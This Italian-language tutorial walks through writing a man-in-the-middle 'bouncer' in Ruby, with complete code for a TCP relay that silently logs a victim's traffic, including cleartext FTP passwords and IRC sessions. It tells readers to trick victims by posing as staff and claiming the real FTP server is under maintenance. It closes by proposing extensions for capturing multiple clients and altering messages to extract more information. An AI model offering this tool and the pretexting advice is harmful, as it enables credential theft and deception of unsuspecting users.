Programmiamo un Bouncer in Ruby

Il MITM e' una tecnica attraverso la quale l'attaccante riesce ad ottenere tutte le informazioni che passano tra un client ed un server, senza che le due parti si accorgano che il collegamento e' stato compromesso. Come immaginate, puo' essere molto utile soprattutto se si riesce ad "intercettare" il contenuto di una sessione FTP, per esempio, (dove la password e' in chiaro) o anche di un collegamento a un server IRC.

Ma vediamo meglio come funziona.

Il MITM (Uomo nel mezzo) ascolta tutto il contenuto della comunicazione tra client e server ma la fa passare senza interrompere il flusso: in questa maniera l'intruso riesce a leggere tutto quello che i due si comunicano, proprio perche' i messaggi del client giungeranno al server e le risposte del server giungeranno al client ESATTE, tutto attraverso il computer dell'attaccante.

Il programma per effettuare un MITM, viene anche chiamato bouncer, e cioe' e' un programma che ascolta il traffico e lo redireziona uguale su un altro server,ed e' quello che scriveremo noi in questa guida. Se il programma funziona correttamente nessuno si accorgera' che noi stiamo ascoltando.

Il programma per effettuare un MITM, che e' quello che scriveremo noi in questa guida, non fa altro quindi che mettersi in ascolto su una porta, ricevere tutto e mandare al server: quando il server risponde manda tutto al client e cosi' via. Nessuno si accorgera' che noi stiamo ascoltando.

Bene, ma come fare a "intercettare" il contenuto di questa connessione? In realta', non si tratta di una vera e propria intercettazione, ecco perche' ho usato "intercettare" tra virgolette.

Per farlo ci vuole un po di ingegneria sociale: dovete convincere il client a connettersi sull' IP dove avete installato il programma in ascolto piuttosto che sul server che avrebbe usato normalmente per la connessione. Potete sempre fingervi uno dello staff e dire che il server FTP che ha sempre usato e' in manutenzione e sarebbe pregato di usare questo (il vostro) server secondario...(che poi redireziona tutto sul vero server per fare sembrare tutto normale :)

Anche se in rete si trovano dei programmi che fanno tutto il lavoro per noi, c'e' sempre piu' soddisfazione a usare programmi fatti da se', quindi iniziamo a lavorare. Il linguaggio usato e' il Ruby e ovviamente si presuppone che chi legge abbia delle conoscenze di base di Ruby e dei socket.

-Coding!

Il nostro programma avra' solo le funzioni molto basilari. Si lancera' da linea di comando in questa maniera:

	$./mitm.rb 6667 irc.tin.it 6667

Il primo parametro e' la porta in ascolto, il secondo e' il server a cui connettersi e il terzo la porta a cui connettersi.

Inoltre avra' un file di log dove salvare tutto il contenuto della sessione intercettata.
Iniziamo a vedere lo "scheletro" del programma:

  1. require 'socket'
  2. lport, server_addr, cport = ARGV[0].to_i, ARGV[1].to_s, ARGV[2].to_i
  3.  
  4. server = TCPServer.open(lport);
  5. s = server.accept()
  6.  
  7. c = TCPSocket.open(server_addr, cport)
  8.  
  9. while true
  10. end

Bene, la riga 1 non fa altro che includere la libreria che ci permette di usare i socket in Ruby. Alla linea 2 si inizializzano alcune variabili fondamentali come la porta di ascolto (lport), l'indirizzo del server a cui connettersi (server_addr) e la porta a cui connettersi (cport) con i valori dei parametri passati da linea di comando.

Alla linee 3 e 4 si apre un server sulla porta di ascolto che aspetta una connessione e se arriva la accetta: la nuova sessione viene chiamata s (s = server.accept()) Questa connessione e' quella del client vittima che si collega a noi, a questo punto dobbiamo instaurare una connessione con il vero server; questo viene fatto alla linea 5.
Le linee 6 e 7 non sono altro che un ciclo infinito che useremo successivamente per ricevere i dati e mandarli.

Ok, la parte di base e' fatta.
Il nostro programma accetta la connessione e si collega al server reale. Ora dobbiamo fare in modo che i dati passino attraverso noi sia in una direzione che nell'altra in maniera che nessuna delle due parti possa accorgersi di nulla. Per ricevere i dati da un socket bisogna usare la funzione gets (anche se ce ne sono molte altre come readline, readlines, read etc...); ma purtroppo la funzione gets blocca il programma finche' non riceve qualcosa in input, quindi non fa al caso nostro. O meglio, dobbiamo prima controllare se sul socket ci siano dati in arrivo, questo lo da per noi la funzione IO.select.

Questo e' il codice che va inserito all'interno del while:
  1. if (IO.select([s], nil, nil, 0.001) != nil)
  2.     data = s.gets
  3.     if (data != nil)
  4.         puts data
  5.         c.puts data
  6.     end
  7. end
  8. if (IO.select([c], nil, nil, 0.001) != nil) 
  9.     recv_data = c.gets
  10.     if (recv_data != nil)
  11.         puts recv_data
  12.         s.puts recv_data
  13.     end
  14. end

I due if sono praticamente identici, solo che uno di occupa del lato client e uno del lato server.

Ecco cosa fanno. La funzione IO.select riceve come primo argomento un array che contiene alcuni stream da controllare, il secondo e il terzo argomento non ci interessano mentre il quarto argomento e' il timeout.

Ma cosa fa in pratica questa funzione? Semplice, restituisce gli stream dell'array dai quali ci sono dati da prelevare. In pratica serve a verificare se il client o il server stanno mandando dei dati e se non ci sono dati, restituisce nil.Abbiamo dovuto usare IO.select per evitare di bloccare il flusso del programma con gets, poiche' essa si blocca anche se non ci sono dati in arrivo.


Dopo aver controllato la presenza di dati, li acquisiamo con gets e li stampiamo.


La stessa cosa solo che a parti invertite e' fatta nel secondo if.

Ecco il codice completo del programma con le ultime parti mancanti:

  1. require 'socket'
  2. if ARGV[0] == "-h"
  3.     puts "Usage sniffer.rb <listening_port> <server> <connecting_port>"
  4.     puts "Visit: http://stelk.altervista.org/"
  5. end
  6. lport, server_addr, cport = ARGV[0].to_i, ARGV[1].to_s, ARGV[2].to_i
  7. log = File.new("LOG " + server_addr + ".txt", "w")
  8. server = TCPServer.open(lport);
  9. s = server.accept()
  10. puts "Connection accepted!"
  11. puts "Connecting to the real server..."
  12. c = TCPSocket.open(server_addr, cport)
  13. puts "Connected!"
  14. while true
  15.     if (IO.select([s], nil, nil, 0.001) != nil)
  16.         data = s.gets
  17.         if (data != nil)
  18.             puts data
  19.             c.puts data
  20.             log.puts data
  21.         end
  22.     end
  23.     if (IO.select([c], nil, nil, 0.001) != nil) 
  24.         recv_data = c.gets
  25.         if (recv_data != nil)
  26.             puts recv_data
  27.             s.puts recv_data
  28.             log.puts recv_data
  29.         end
  30.     end
  31. end

Le uniche righe aggiunte sono le prime dove viene stampato un piccolo help, una nuova linea che serve ad aprire un file di log e qualche riga che ci segnala quando un client si e' connesso.

Poi negli if le righe:
	log.puts data
e
	log.puts recv_data
servono rispettivamente a stampare il contenuto "intercettato" oltre che su schermo, anche sui log. Ovviamente il programma e' molto basilare e proprio per questo ci sono molte imperfezioni, una e' data dal fatto che dopo un prima connessione il programma si blocca nel ciclo infinito senza accettare piu' altre connessioni. Oltre a correggere questi errori potete anche implementare le seguenti feature:

  1. Connessioni da piu' client
  2. File di log separato per ogni client
  3. Possibilita' di modificare i messaggi che il client manda al server e anche le risposte del server in modo da ottenere ulteriori informazioni

Penso che possa bastare :)
Jack Duluoz